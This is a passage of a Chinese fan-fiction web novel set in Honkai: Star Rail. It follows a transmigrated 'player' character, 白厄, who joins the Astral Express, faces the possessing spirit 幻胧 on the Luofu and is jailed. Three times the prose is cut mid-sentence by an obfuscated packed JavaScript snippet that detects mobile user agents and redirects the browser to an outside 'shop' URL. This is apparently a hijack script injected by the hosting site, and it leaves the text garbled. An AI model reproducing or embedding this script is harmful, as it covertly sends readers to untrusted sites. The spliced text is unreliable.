星积极举手,对着姬子道:“他叫白厄,来自哀丽秘榭,是我们在雪原上捡回来的。不过他只能说特定的几句话,所以交流起来有些麻烦,但是个很能打的好人。” 哀丽秘榭……□□的表情更复杂了。 噗,迫害杨叔真好玩。【白厄】把翘起的嘴角压下去,在姬子看来时,绷住了正经的表情。 “无须拘束,我相信他们,所以也相信你,先坐下吧。”姬子温柔地说着,顺手倒了一杯咖啡递过去,“丹恒说你在寻求帮助,我猜,你是想要回家?” 【白厄】下意识伸手接过,眼神闪烁了一下。 回家啊……他还能回家吗?回到自己作为普通人时,那个平淡温馨的家。 【白厄】沉默了一会,收拢思绪,伸手指了指众人身上的车票,然后期盼地看着姬子。 这个动作太好懂了,姬子问道:“你想登上列车,成为无名客?” 【白厄】用力点头。 姬子伸手轻轻支起下巴,含笑道:“星穹列车从不拒绝希望登上列车的同伴,但是否同意,还要看大家的意见。” “我同意。”三月七说。 “我没意见。”丹恒说。 “我也同意。”星点了点头。 “帕姆欢迎每位乘客哦。”列车长帕姆说。 “哎呀,看来我们已经不需要发表意见了呢。”姬子笑着对□□说。 □□看着【白厄】手中的咖啡欲言又止,最后只是点了点头。 好耶,梦想成真! 【白厄】高兴地和列车三小只击掌庆贺,然后坐回沙发,习惯性地端起咖啡杯喝了一口。 等等,这是谁泡的咖啡来着? 他呆滞两秒,用最后的力气放稳杯子,然后扑通倒地,颤巍巍伸出一只手,像是求救,又像是指认凶手。 “姬子阿……姐姐的咖啡,还是那么有杀伤力啊。”有谁小声吐槽。 【白厄】失去了意识。 4. 游戏机制百分百(四) 020 几天后。 【白厄】摊开笔记本,静静地思索着。 这是个平平无奇的黑皮白纸本,是他和帕姆比画半天才沟通明白,然后列车长从仓库中找出来送给他的小礼物。 雅利洛Ⅵ号的故事告一段落,却有诸多疑点尚未解明,【白厄】在纸张的右上角写下“贝洛伯格”作为标记,然后慢慢动笔写下简体字。 其一:可可利亚异变前情绪起伏极大,与其作为领导者的心性及城府不符;其裂隙怪物化十分突然,疑似短期内受到了大量裂界能量的浸染。 其二:星核藏匿之处为克里珀堡密室内。 其三:桑博越狱了,而后再无音信。 【白厄】凝视着这三条文字,片刻后,合拢笔记,顺手将其塞到了智库的杂物架上。 然后,他抽出一张电子屏,翻到寰宇通用文字的教程视频页面,绷着脸开始识字。 谢谢,穿越从识字开始,这个真实的崩铁宇宙未免太真实了。 021 星穹列车的车厢内流淌着安宁的音乐声。 姬子在研究咖啡机,□□在浏览网页,星和三月七凑在一起嘀嘀咕咕,丹恒在智库补眠,【白厄】正和寰宇通用文字教学课程搏斗——指单方面被课程殴打。 “喂——喂喂——”广播中响起帕姆的声音,“星轨读数已恢复正常,列车即将启程,请乘客们扶稳坐好,和雅利洛Ⅵ号最后说一声再见吧。” 【白厄】暂停教程,看向列车之外:雪白的星球静静漂浮在星海之中,似乎与来时并无不同。但冰雪终将散去,贝洛伯格也必然走向明天。 【白厄】有些恍惚,直到此刻,他才有种原来已经参与进某些事情、改变了某些事情的真实感。 “在想什么?”姬子走过来,微笑着询问。 【白厄】摸出手机,调到与姬子的通信界面,生疏地打出一行通用文字,但并未发送出去,只是展示给姬子看:“有些不真实,好像做梦。” “是吗?”姬子稍作停顿,没有引申什么道理,也没有拓展这个话题,只是抬起咖啡杯示意了一下,“如果感觉不真实,不如做点切实的小事,比如帮我试试新品,这次我很有自信哦。” 【白厄】表情一僵,视线乱飘,向车厢里的其他人发出求救信号。 其他人不约而同地移开视线。 【白厄】:“……” 每当此时,开拓的友谊总是如此脆弱。 他视死如归地伸出手,打算接过咖啡杯,却见姬子轻笑一声,主动收回手。 “好了,先放松一下吧,别把时间都用在学习上。等丹恒过来我们就开会,该决定下一站的目的地了。”姬子说。 片刻后,三月七和星从智库里揪出一个丹恒,众人在观景车厢会合,正在帕姆宣布下一站是即将开办谐乐大典的美梦之城匹诺康尼时,一个数据流汇成的投影忽然出现,插入了星穹列车的会议。 卡芙卡微微抬眼,笑容轻柔如蛛丝落下,说:“晚上好,各位。” 022 卡芙卡,隶属于星核猎手,是掌控言灵术、被星际和平公司巨额悬赏的危险分子,也是星失忆前的同伴,追随艾利欧——一个自称以践行“剧本”的方式,将寰宇终末推向更好一面的神秘人。 姬子毫不客气地点明了卡芙卡的身份,抱起手臂,道:“我们不打算接受你的请求,也不打算和星核猎手扯上关系,倘若你亲自登门拜访,届时我们可以再谈。” 卡芙卡神色如常:“各位,听说过仙舟‘罗浮’吗?” 仙舟联盟是寰宇顶尖势力之一,追随巡猎星神岚四处追杀丰饶孽物,罗浮是六座仙舟之一。卡芙卡称一颗星核在罗浮爆发,将引发极大的灾难,而她的同伴刃被误当嫌犯抓走,这也是她出现此地的原因。 卡芙卡说:“倘若不加制止,仙舟上一半的住民都会丧生,善良的无名客们想必不会坐视不理。罗浮坐标就在这里,去与不去,由你们决定。” 说完,数据投影出的人影逐渐消失,她的目光落在星身上,又看了一眼【白厄】。大抵是数据消散导致投影失真,【白厄】竟从那目光中窥见了几分怜悯。 【白厄】心想:星核猎手有疑似预言家的艾利欧坐镇,不会是误会了什么吧? 023 关于是否前往仙舟罗浮,众人投票的结果是前往。 丹恒摇头道:“这次,我就不去了。” 姬子微微点头,道:“□□,那这次的开拓之旅就交给你了,照顾好星、小三月和白厄。” □□表情微妙了瞬间,点头道:“放心吧。” “各位乘客,跃迁开始——” 帕姆的声音传来,蓝色的流光笼罩了视野,景物一片模糊。很快,窗外的景色恢复正常,恢宏壮丽的玉界门映入众人眼帘。 仙舟罗浮,一座比雅利洛Ⅵ号还要大的星舰,正徜徉在星海之中。 星穹列车发出了接洽信号,自罗浮而来的回复断断续续,很快又诡异地恢复正常。 踏上罗浮之前,□□嘱咐道:“星核猎手必然别有所图,星穹列车过去和仙舟联盟没什么往来,我们不一定受到欢迎,但无名客所作所为不图名利,保持本心,贯彻开拓之道吧。” 三月七:“噢噢噢!” 星:“好耶!” □□笑了笑,说:“出发!” 024 落地罗浮无人接引,四面八方都是堆叠的集装箱,如同迷宫。 一行四人边探索边前进,沿途见到了几名受伤的仙舟云骑,三月七连忙凝结六相冰为伤者止血包扎,这样且行且走,直到远处响起兵器交击的声音。 【白厄】辨别出方向,伸手指了指,其余三人会意地靠了过去。 只见几名云骑佝偻身躯,似乎极为痛苦,下一秒,金黄的银杏叶从衣物下、盔甲中生长蔓延,疯狂生长的枝叶模糊了云骑的身形,最终形成了类人的怪物。 而在怪物的身后,又有几名负伤的云骑保护着一名狐耳狐尾的少女,云骑喝道:“停云小姐,请后退!他们已堕入魔阴,不再是我们的战友了!” 情况危急,星将询问的目光投向□□,□□道:“我们去帮忙。” 四人纷纷召出武器插入战场,【白厄】下意识用剑面拍飞袭来的魔阴士卒,见对方晃晃脑袋便若无其事地爬起来时,表情微微一沉,转动侵晨亮出剑锋。 魔阴士卒的生命力极其顽强,即使被剑刃插入要害仍然可以活动,【白厄】不得不依次补刀,直到再没有怪物爬起。 “好抗揍,我的球棒都挥冒烟了。”星挥舞着球棒说。 □□推了推眼镜,似乎想说什么,目光一转看到云骑,又止住了话语。 这时,狐人少女拨开云骑,走近笑道:“多谢几位恩公解围,小女子名叫停云,任罗浮天舶司商团接渡使,敢请教恩公尊姓大名?” “啊,这也太客气了吧。”三月七不好意思地笑着,将四人都介绍了一遍。 【白厄】不动声色地打量停云,如果没有意外的话,这时停云已被绝灭大君幻胧替换,但即使明知有鬼,他也看不出半点破绽,不得不说,幻胧演技是真的很好。 停云听过来意,微微蹙眉,似有忧虑:“星穹列车,早有耳闻。唉,诸位恩公来得不巧,罗浮此时不便待客,更别提玉界门早早封锁,引几位抵达的信号也十分蹊跷。不如这样,几位先随我去星槎海中枢避难,将此事交由天舶司的执掌者,驭空司舵定夺。” 事已至此,也没有更好的办法。□□道:“好,那就麻烦停云小姐了。” “哎呀,不麻烦不麻烦。”停云轻摇折扇,笑吟吟地引着一行人穿过集装箱。 大抵是因为混战,不少通路都被挪移堵塞,星自告奋勇前往操作台清理路障,三月七跟上去帮忙,云骑和□□搭上话在说魔阴身,转眼间只剩【白厄】站在原地。 停云自然而然的靠过来,折扇遮住半张脸,含笑道:“诸位恩公如此热心,待见过驭空大人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048682|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小女子说什么也要请客招待,聊表谢意呢。” 【白厄】心中一动,对停云微微摇头,摸出手机打字给她看:“抱歉,我不便说话,只能这样交流。” 停云似有诧异,随即热心道:“竟然如此,罗浮丹鼎司颇有医名,之后不妨问诊一二,也许能找到医治的办法。” 【白厄】礼貌地笑笑,把手机收回,没有接话的意思。 停云扑哧一笑,道:“恩公何必如此警惕,小女子又不会吃了你。也罢也罢,左右也是闲暇,不如我给恩公讲个故事?” 谢谢,我不想听。【白厄】终于确定眼前的停云是幻胧假扮的,对方似乎看出了什么他自己都不清楚的事,正在有意交往。 停云自顾自地讲述起来。 “说来也巧,此事与星核有关,出自小女子爱看的一幕幻戏(电影)。戏中有一艘遨游星海的大船,船上却有两种信仰,一方势大,一方苟且,此事颇有不美,于是有星核天降,落入弱势那方,他们以毁灭催生丰饶,自野心生出烈火。 “可惜,空有野心却无能力,即便有星核助力,也无法动摇大船根基,归其结果,恐怕至多将那船上生灵焚毁一半,可悲可笑。不过万物溃于微末,纵然无能的渣滓,也可做毁灭的锋刃,一步一步,一点一点,说不定有朝一日,也能令大船倾覆呢。” 说完,停云闭口不言,笑吟吟地看着【白厄】。 这故事讲得可太明显了,露骨到【白厄】无法装作听不懂的程度。 他表情微冷,打字道:“停云小姐的爱好,和性格反差很大。” “越是粉饰美好,繁花下的腐烂便越是令人作呕。我不过是喜欢挑破光鲜的外皮,看二者共同焚烧,化作干净的余烬罢了,这何尝不是真正的美。”停云声线微微转沉,透出几分妖异的妩媚,“这个故事,恩公以为如何?倘若恩公身在局中,又作如何打算呢?” 025 “你们熟络得也太快了吧?白厄你不要被美丽狐仙迷住了啊!”一只星核精忽然冒出,打破了愈发凝滞的气氛。 “小女子是狐人,可不是狐仙。”停云笑笑,神色如常道,“通路已开,前面就是星槎转运地,诸位恩公请随我来。” 【白厄】面无表情地看着停云走远,很快,星和三月七一边一个凑了过来。 星拍拍胸脯,自豪道:“如何,我解围是不是很及时?虽然狐仙小姐姐很好看,但态度不对劲,对你太热情了。” 三月七点点头,道:“没错,这种时候冒出来的,一般都是幕后黑手。” 闻言,【白厄】没能维持住表情,忍不住笑了一下。 他对星比了个大拇指表示肯定,打字给两人看:“停云有问题,我们举报她。” 星眨巴眨巴眼睛,问道:“这时候不应该我们自己调查,然后一鸣惊人、揭露真相吗?” 三月七赞同道:“对啊对啊,然后,我就是名侦探三月七了。” 【白厄】表情认真地摇摇头,打字道:“她很危险。” 星和三月七对视一眼,表情严肃了一些,道:“我和杨叔说一下。” 026 之后的路程,除了时不时要和魔阴士卒打一架,整体顺遂。 停云与驻守星槎海的云骑做了交接,随即将众人引至驭空司舵所在的司辰宫前,笑道:“此处便是驭空大人所在,我已提前通报,诸位请进。” □□道:“停云小姐不一道进去吗?” 停云道:“小女子今日担惊受怕,尾巴毛都粗糙许多,正想好好养护一番。我又只是一位小小引渡使,便不打扰驭空大人啦。” 【白厄】拿出手机,打字道:“停云小姐是见证人,很重要。” 停云笑意微敛,抬起碧绿双眸与【白厄】对视。 “唉,恩公话都说到这个份上,停云自然不能拒绝。”她笑着走近【白厄】,轻轻吐字,“我与恩公是同路人,待会见到驭空大人,该说什么,还望恩公三思,小女子人轻言微,可受不住牵连。” 5. 游戏机制百分百(五) 027 稍早之前。 停云去和云骑交接,星趁机拉过□□,四人凑在一起开小会。 □□道:“你们发现了什么?” 星和三月七看向【白厄】。 【白厄】搜刮着自己的通用文储备,尽力把停云讲的故事复述了一遍,最后总结道:“停云和‘毁灭’有关。” “最终会毁掉一半的大船,罗浮会有一半住民丧生……这个故事和星核猎手说的话对应上了,难道他们是一伙的?”三月七说。 星抬手比了个叉号,反驳道:“不可能。” “虽不清楚她为何与你说这些,但她这么做,大概是有恃无恐。稍后不要让停云脱离视线,倘若她出了什么事,到时一方是天舶司接渡使,一方是疑点重重的列车来客,恐怕就解释不清了。”□□看向【白厄】,郑重道,“她的目标似乎是你,注意安全。” 【白厄】微微一愣,用力点头。 028 时间回到现在。 驭空说道:“诸位的来意我已知晓,但星核灾难乃仙舟之事,无须借助外力平复,请诸位前来的目的之一,正是为了亲口拒绝。” 天舶司司舵态度坚决,无意令星穹列车介入,三月七拉住□□,嘀嘀咕咕:“算了杨叔,仙舟自己能搞定,我们还费心干嘛,走就是了。” “不,诸位走不得。”驭空轻轻挥手,左右行出云骑,迅速合围成圈,亮出兵刃,将此地层层封锁。 【白厄】心中一动,扭头看向停云,对方微笑着轻挥折扇,脸上全无意外的表情。 “喂,你这就过分了吧?难道还要把我们抓起来吗?”三月七说。 驭空道:“正是。星核之事本就未曾外传,诸位来此,是从何处得来消息?就算不提此事,星穹列车带毁灭的走卒混入罗浮,又有何意图?” 【白厄】悬着的心嘎巴死了。 他不用多想就知道所谓“毁灭的走卒”指的是谁。 本来他还盘算着见到景元立刻告状,万万没想到,幻胧先玩了一手揭发。看来对方是不打算把停云的身份继续用下去了,因为【白厄】必然会拉着她一起下水……幸好方才在门外没有放她离开,否则现在的情况会更麻烦。 “毁灭的走卒?”星左右看看,疑惑道,“我们长得也不像反物质军团啊。” “就是就是,本姑娘看出来了,你们还凭空……”三月七话说一半,发现【白厄】搭上她的肩膀,摇了摇头。 下一秒,蓝白色的身影猛然暴起,侵晨大剑泛起森森寒光,对准停云横扫过去。狐人少女不闪不躲,明明已经被拦腰斩断,周身却升腾起虚幻蓝火,反手自折扇中抽出利刃,划过【白厄】的脖颈。 一切都发生在瞬息之间,【白厄】捂着喉咙后退,被云骑以锋刃制住,滴滴金血落在地面,反射着莹莹光彩。 “岁阳……”驭空表情一沉。 “……真是不解风情,就这样坏了妾身的新壳子。”少女的声线逐渐低沉,变得慵懒妩媚,“倘若你也盯上了这片狩猎场,与我好好商量不就行了?妾身虽喜爱这出戏剧,但同为负创神做事,这点面子还是能给的。” 你,你才给纳努克做事,你全家都给纳努克做事!【白厄】说不出反驳的话,只能努力瞪过去表示抗拒。 一团虚幻灵火自停云身上飘出,优哉游哉道:“区区罗浮,想必困不住你,那妾身就先走一步了,呵呵,祝你玩得愉快。” 灵火说完便要向上空飘去,却见金色雷霆突然闪过,勾勒出棋盘般的织网,灵火闪避不及,发出一声凄厉的尖啸。 “绝灭大君幻胧。”一名白发金瞳的青年自侧方走出,手持阵刀,语气含笑,“罗浮向来欢迎心怀善意的客人,但此等恶客,怎能想来就来想走就走,这一击,便权当送礼了。” 哇,活得景元! 【白厄】瞬间被吸引住了目光。 “哼,巡猎的将军……”幻胧稳了稳声音,逐渐隐没在空气中,只留余音回荡,“这出戏剧还不到最精彩的时刻,便看谁能笑到最后吧。” 029 “驭空此前已将事情禀报说明,但事有蹊跷,景元心怀疑虑,故未在第一时间与诸位见面,失礼了。”景元客客气气地笑着,挥手令云骑退回原位,手中阵刀却并未收起,“在下罗浮将军景元,星穹列车的各位无名客,久闻大名。” 【白厄】能感觉到自己被某种气息锁定,但凡有所异动,便会有雷霆一击从天而降。 “这,这都什么和什么,进展得也太快了,我都晕了。”三月七扶住额头。 星赞同地点了点头。 □□并未立刻说话,而是转身看向【白厄】,道:“没事吗?” 【白厄】松开手摇摇头,脖颈处的伤口仍有金血渗出,但已不算危急。 只要血条没归零他就能活蹦乱跳,玩家就是这么不讲道理。 □□这才面向景元,沉声道:“景元将军,我等为解决星核危机而来,白厄虽身为毁灭命途的行者,却与毁灭的走卒并无干系,我们绝无恶意。” “幻胧所言,自然不可相信。”景元说完,轻叹一声,“只是这位无名客不仅身负烬灭金血,还有一身毁灭之力,绝非普通的命途行者,我既为罗浮将军,不可妄断。不如请诸位移步神策府,将前因后果一一明说,景元保证,不会误判好人。” □□看向【白厄】。 【白厄】坦然地点了点头。 030 于是大家一起被打包送上了星槎。 景元贴心地把四人安排在一艘星槎上,星槎上除了无名客,只有一名陌生的狐人驾驶员,似乎一点都不担心【白厄】半途逃跑。 【白厄】刚刚坐稳,就看到星和三月七一左一右地坐在对面,□□居中而坐,表情深沉,三人摆出一副要好好审问的架势,氛围顿时紧张了起来。 他咽了下口水,下意识挺直脊背,规矩坐好。 三月七绷着脸递过一块六相冰,阴森森地说:“坦白从宽,抗拒从严,先把血止住。” 你要是不加最后那句话还算有点威慑力……【白厄】敢想不敢说,乖乖接过六相冰。 星环抱手臂,故作凶狠道:“老实交代,你和毁灭有什么关系?” 想和祂爆了的关系。【白厄】下意识地想,反正他是玩家可以无限仰卧起坐。 但话肯定不能这么说,他摸出手机,打出一行字:“我和反物质军团、绝灭大君无关,如果有关,想追杀他们。” □□问道:“你认识幻胧?” 【白厄】打字回应:“听说过。” 星好奇地问道:“你的血是怎么回事,金色的诶,很漂亮。” 【白厄】思索了一下。 黄金裔的血液异于常人,和无名客相处久了,这件事肯定瞒不住,他早早考虑过要怎么解释,但直到现在也没有决断。 最后,他只能避重就轻地回复:“一直这样。” 打完字,【白厄】有些忐忑地看向三人,不知道能不能混过去。 □□看着他的反应,伸手拍了拍【白厄】的肩膀,语气意外温和:“我们无意对同伴刨根问底,每个人都有不想言说的过去。只是有时候,如果你需要倾诉,如果你需要帮助,不必压抑,随时都可以找我们。” 星和三月七对视一眼,都笑了起来。 三月七说道:“就是就是,你刚才面对幻胧什么都没和我们商量,直接就冲出去了,真是的,我们也会担心的好不好?” 星拍着胸脯保证道:“别害怕,银河球棒侠肯定会罩你。” 啊,当然。 他眨了眨眼,露出一个灿烂的笑容。 031 咔嚓,手铐扣合。 【白厄】笑不出来了。 人刚进神策府就被请进偏厅——只有他,一名持明族女子笑眯眯地向他投喂点心茶水,顺便防止他偷听隔壁谈话。 不知道景元和□□他们说了什么,最后星来和他说明情况,絮絮叨叨地说小白你别担心就是去幽囚狱住一阵子单间,我们这就去抓卡芙卡等解决幻胧就把你放出来。 然后三位无名客毫无留恋地转身就走,只剩他和景元大眼瞪小眼。 神策将军亲自为他扣上手铐,笑得分外无辜,安抚道:“形势如此,还望勿怪。” 啊?真的吗? 【白厄】用真诚的眼神传达疑惑:你们到底商量了什么计策,不暗示暗示我?就算要去幽囚狱,也要让我知道该如何配合啊。 景元无视了【白厄】的疑问,微微歪头,含笑道:“请吧。” 032 幽囚狱内阴寒寂静,如渊如冥。 【白厄】蹲在单间内满头问号,完全想不通是怎么回事。 罗浮显然并未相信幻胧的话,因为检查得太过宽松:除了一副象征性的手铐,没有搜身没有禁锢,连手机都给他留下了,就差把逢场做戏四个大字拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这不是网络问题,这是独属于玩家的能力都被冻结了。 【白厄】的情绪意外冷静:倘若事出有因,他最近有做什么特别的事情吗? “……咦?”眼前有些模糊,他恍惚了一下,感到倦意一波波袭来,冰冷的地面似乎变成了舒适的床铺,温暖的黑暗沉沉地坠着意识,呼唤他落入梦乡。 啪嗒,手机掉在了地上。 【白厄】闭上了眼睛。 033 他翻开一本书,津津有味地阅读着树与蝶的故事。 阳光暖洋洋地落在麦田,空气中飘荡着醇熟的香气,而他就坐在麦田的角落,藏匿在金黄的海浪中,自由自在,放任时间慢慢流淌。 外来的客人向他搭话:“小朋友,你怎么一个人在这里,你的同伴抛弃你了吗?” 他疑惑地反问:“我的同伴?” 客人说:“你忘记了吗,那是你新交的伙伴,你很喜欢他们。他们却因你流淌着烬灭的金血,将你独自一人丢在囚牢之中,你难道不伤心吗?” “啊,是的,我有几个伙伴。”他想了想,很是不解,“可我没有被困在囚牢中啊,我很喜欢这里,要是能一直待在这里就好了。再说,流着金血的人都是神谕中的大英雄,我不是英雄,只是个普通人啦。” 客人笑起来,说:“你还真擅长欺骗自己,仔细看看吧,这里到底是哪。” 于是眼前的麦田忽然扭曲,冰冷阴暗的囚笼取而代之,暖融融的麦子香气也被凝滞沉闷的气味取代,耳畔只有锁链晃动的细碎声响。 他微微一愣,原来手中并没有书本,他只是捧着空气。 “你胡说……”他摇摇头,想法却像故障的机器般卡顿,隐约察觉不对却难以解明,“我相信他们,这一定事出有因。” “当然。”客人竟然表示赞同,向他低语,“你当然相信你的朋友们,他们怎么会做出这种事情,所以,去找他们亲自问问吧,去证明他们有所苦衷。” “找他们……问问……”他捂住脑袋,有些眩晕。 不对,哪里不对劲。 这里是哪,为什么想不起来了?不对,他应该在这里等待,为什么要等待?伙伴……为什么不在身边?要去找他们吗? 客人还在轻声劝说:“对,没问题的,去找他们吧。” 这声音轻柔而层层叠叠,自四面八方而来,悄然将所有疑惑抹平。 于是他慢慢地点头,重复道:“去找他们。” 客人笑了起来,说:“没错,乖孩子。” 安静的囚室内,白发蓝瞳的青年忽然睁开眼睛,目光涣散如在梦中,他慢慢走到囚室门口,召出侵晨,眼中日轮亮起璀璨金光。 6. 游戏机制百分百(六) 034 “将军的意思是,白厄被岁阳附体了?”□□说。 景元刚叫策士将提前备好的点心茶水送入偏殿,安抚那位被单独隔开的无名客,又转身面对□□三人,道:“正是如此,当时幻胧看似离开,实则早已顺着‘停云’挥刀的时机悄悄附体白厄,后来的那团灵火不过是她留下的假象。” “岁阳是什么?”星问道。 “附人躯壳,乱人心智,将宿主当作蜡烛,直至燃烧殆尽。”景元道,“当初燧皇破碎,散落成无数岁阳。但凡岁阳,都极擅长蛊惑宿主,幻胧更是如此,此刻她与白厄共为一体,又身为绝灭大君,寻常驱逐手段恐怕难以生效。” □□沉思几秒,道:“将军叫我们前来,应该已经想到办法,不妨直说。” “并非办法,只是一个提议。”景元道,“罗浮星核爆发一事,背后谜团重重,幻胧自诩棋手,必不甘心被困一隅,不如先请白厄在幽囚狱内停留一段时日,倘若幻胧按捺不住露出破绽,事情说不定会有转机。” □□问道:“岁阳本就危险,何况这是一位绝灭大君,景元将军,你用这拖字诀,如何保证白厄的安全?” 景元微微一笑:“在下乃帝弓司命点召的令使之一,对命途之力的感知稍有心得,那位无名客白厄的气息颇为奇妙,倘若是他的话,□□先生可以放心。” □□与星、三月七商议了几句,点头道:“那么,白厄就麻烦将军暂时看顾了。” “无妨。”景元道,“此外,为洗刷诸位身上的疑点,景元这里还有一事相求,星核猎手的卡芙卡今日在罗浮现身,还望诸位帮忙抓捕。” 星穹列车本就为帮助而来,此事并无波折地被无名客领下。 “景元将军,你怎么知道白厄被岁阳附身了,完全看不出来啊。”离开之前,星好奇地询问着,“难道有什么专门的法器,比如照妖镜?” “此物……当然没有。只是烬灭祸祖麾下的几位绝灭大君各有踪迹,能将星核送入罗浮还有空闲的令使大概率就是幻胧。” 景元失笑着微微摇头。 “既然知晓此事,我当然会在司辰宫外提前布置些小手段。因此发现幻胧并未离开司辰宫后,我想,她应当是借毁灭的力量掩盖了岁阳的痕迹,又借白厄身上的毁灭力量,掩盖了自己的毁灭气息吧。” 035 “轰!” 一名武弁被狠狠击飞,直至撞到墙壁才止住身躯,武弁艰难地自地面爬起,看到前方的烟尘渐渐消散,身穿异域蓝白服饰的青年慢慢走了出来。 青年眼帘低垂,表情平淡,单手拖着大剑,令剑刃在地面上拖起一串火星。 他自武弁身前停住脚步,分明是忽然暴起、冲破牢笼、一路至此的囚犯,神色却是平和虚幻的,仔细看还能发现几分茫然。 无论如何,不能让幽囚狱的囚犯逃出去,就算只能多拖延一秒……武弁看到青年略微停顿后转身离开,奋力伸手,禁锢住了对方的脚腕。 青年止住了步伐。 为何……阻拦……思维迟钝地运转着,他低下头,举起大剑立于身前,目光锁定武弁,丝丝缕缕的辉光在大剑上聚集。 “无权限访问。” “无权限访问。” “错误……非授权访问!” 鲜红的字迹在眼前晃动,他下意识伸手捂住脑袋,只觉脑子里有许多鲜红字符在和一个奇怪的低语声打架。 忽然,虚幻灵火自青年身上蔓延到武弁身上,武弁眼神变得呆滞,仿若木偶般握紧武器,向着青年捅去。 他下意识想要格挡,却在最后一刻鬼使神差地撤掉了防护,随着金色的液体流淌而出(受击),视野内挂了许久的某个图案完全亮起。 这是什么来着?终结技……变身……如果长出翅膀会不会跑得更快一点,能更早地找到搭档他们? 青年说服了自己,选择激活终结技。 下一秒,红黑色的数据流吞噬了一切。 036 “负面效果已解除。” 【白厄】刚刚回神,就看到了眼前飘过的文字。 什么负面效果?我跳过剧情了?没等他想明白怎么回事,呼啸而来的灼痛打断了思路,让他的表情管理当场失控。 这痛楚留下的印象太过深刻,【白厄】立即搞明白这是开大变身了。 四周果然是暗红荒芜的境界,一团灵火勾勒成头戴莲花、身缠淤泥的人形,那人形饶有兴味地看着他,笑道:“还真是……意外之喜。” 幻胧?她怎么在这里? 【白厄】当即提起侵晨,准备来一次陨石天降,却忽然注意到角落里还躺着一名幽府武弁,武弁手边是一柄染着金血的利刃,看上去生死不知。 脑海中忽然浮现出许多模糊片段,比如他做了个梦,梦中是一片麦田,有个很不会说话的客人唠叨个没完,又比如他劈开了幽囚狱的牢房,拍飞许多武弁守卫,仗着玩家不会累一路横推……但回想起来怎么是往下跑啊,幽囚狱出口不是在上面吗?幽囚狱最下层明明只有呼雷。 不对……是岁阳附体! 【白厄】终于理清情况,在神策府时景元果然是故意把他请进偏厅的,神策将军恐怕在那时就已经发现他被幻胧附体了。 幻胧的诱导也并非希望他离开幽囚狱,而是打算借他的手放出呼雷。 可惜,幸好,一路受击令他积攒了足够的火种,而白厄的终结技在展开时会把所有非强制类型的负面效果解除,岁阳附体大概也被判定成了负面效果之一。 想到这里,【白厄】反而不着急尽快行动将终结技赋予的行动机会用完了,只要不用普攻和战技,血条不归零,这处境界就永远不会消失,是一处天然的牢笼。 就是有点烫……【白厄】心想。 037 幻胧耐心地等待着,直到那金发金瞳的青年眼神恢复清明,才笑吟吟的开口道:“我原以为是你深入毁灭命途的践行者,但从这被释放的力量来看,你被毁灭打下的烙印比我预想的还要深刻。” 【白厄】面无表情地看着他,没有说话。 “何必如此冷漠,我说过了,你与我才是同路人。”幻胧声音轻柔而满溢恶意,“你的同伴大概还不清楚这件事吧,一位深入命途堪比令使的毁灭行者,一个不为寰宇所知的刽子手,我很好奇,你究竟毁灭了多少事物,才会得到如此程度的恩赐?” 黑金色的不对称羽翼轻轻一扇,【白厄】瞬息抵达幻胧面前,利刃裹挟着滚烫的气浪劈下。幻胧扭腰闪开一段距离,伸手一抹,合拢了灵火身躯上的剑痕。 要是能看到敌人血条就好了,可惜我只能看见自己的……【白厄】心里想着,微调身体角度,以背后展开的羽翼不经意般挡住了武弁的身影。 “真是暴力。”幻胧叹息,随即诱惑道,“何不与我一同离开,倘若能觐见负创神,说不定你会被擢升为我的同僚,成为一位绝灭大君。” 攻击效果很差,岁阳的特质真是犯规……【白厄】专心做出判断。 眼看对方丝毫不因言语动摇,幻胧无聊地捏出一柄团扇,慢悠悠道:“也罢,精彩的戏剧不必急于一时,看在同属毁灭的份上,便教给你一个道理吧,不要小看你的敌人,也不要付出无谓的善心。” 善心? 身后响起了混合着惨叫的破空声,【白厄】及时扭身闪过袭击,伸手抓住武弁的臂铠,对方身躯上燃烧着滚滚灵火,表情呆滞而狰狞。 “呵。”耳边响起了幻胧的轻笑。 极具压迫力的毁灭气息从天而降,【白厄】下意识合拢羽翼将武弁挡住,从羽毛的缝隙中看见天空落下暗紫的陨星,陨星上蔓延出一道道裂隙,直至整体炸开,掀起毁灭的风暴。 淦,单挑boss翻车了。 【白厄】看着本就不满的血条以恐怖的速度向下滑落,直至归零。 而后,黑红色的数据流不可控制的流淌向他本身,荒芜的境界整个燃烧起来,【白厄】尽力将力量落点转向幻胧,感受着黑红色的空洞向内坍缩又飞快膨胀。 黑红色的浪潮转眼即至。 不好,最后一击的伤害对敌方是均分的,而武弁被判定成了敌方。 【白厄】只好再次用羽翼笼住武弁,主动抗下自己攻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048684|194770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 击造成的伤害,刚因技能特性恢复了四分之一的血条再次归零。 垃圾游戏,不关友伤……这个念头一闪而过,【白厄】失去了意识。 038 【白厄】睁开眼睛,面前是一颗点亮的界域定锚。 他怔愣一会,意识到自己大概是挂了一次,然后在附近锚点复活了。不得不说这个能力还挺好的,连衣服都一并修复变成了崭新版本。 因为界域定锚靠近到一定距离会自动点亮,所以这里仍然是幽囚狱——他被押送途中点亮了几个锚点。 【白厄】点开地图,大致扫了眼自己的位置,随即目标明确地向某一处跑去。 沿路有几名被拍晕的武弁,【白厄】一眼看出这是谁的杰作,不禁心虚地移开视线。 